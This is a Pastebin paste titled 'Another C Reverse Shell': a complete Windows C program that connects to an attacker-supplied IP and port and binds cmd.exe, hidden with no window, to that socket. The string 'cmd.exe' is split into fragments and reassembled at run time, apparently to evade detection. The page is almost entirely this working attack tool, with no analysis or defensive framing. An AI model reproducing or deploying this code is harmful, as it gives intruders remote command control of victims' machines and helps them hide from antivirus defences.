Advertisement
Guest User

Another C Reverse Shell

a guest
Dec 16th, 2018
72
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.35 KB | None | 0 0
  1. #include <winsock2.h>
  2. #include <stdio.h>
  3.  
  4. #pragma comment(lib, "w2_32")
  5.  
  6. WSADATA wsaData;
  7. SOCKET Winsock;
  8. SOCKET Sock;
  9. struct sockaddr_in hax;
  10. char aip_addr[16];
  11. STARTUPINFO ini_processo;
  12. PROCESS_INFORMATION processo_info;
  13.  
  14.  
  15. int main(int argc, char *argv[])
  16. {
  17.     char *ip = argv[1];
  18.     char *port = argv[2];
  19.  
  20.     if(argc < 3) exit(0);
  21.  
  22.     WSAStartup(MAKEWORD(2,2), &wsaData);
  23.     Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
  24.    
  25.     hax.sin_family = AF_INET;
  26.     hax.sin_addr.s_addr = inet_addr(ip);
  27.     hax.sin_port = htons(atoi(port));
  28.    
  29.     WSAConnect(Winsock,(SOCKADDR*)&hax, sizeof(hax),NULL,NULL,NULL,NULL);
  30.     if (WSAGetLastError() == 0) {
  31.  
  32.         memset(&ini_processo, 0, sizeof(ini_processo));
  33.  
  34.         ini_processo.cb=sizeof(ini_processo);
  35.         ini_processo.dwFlags=STARTF_USESTDHANDLES;
  36.         ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
  37.  
  38.         char *myArray[4] = { "cm", "d.e", "x", "e" };
  39.         char command[8] = "";
  40.         snprintf( command, sizeof(command), "%s%s%s%s", myArray[0], myArray[1], myArray[2], myArray[3]);
  41.  
  42.         CreateProcess(NULL, command, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &ini_processo, &processo_info);
  43.         exit(0);
  44.     } else {
  45.         exit(0);
  46.     }    
  47. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement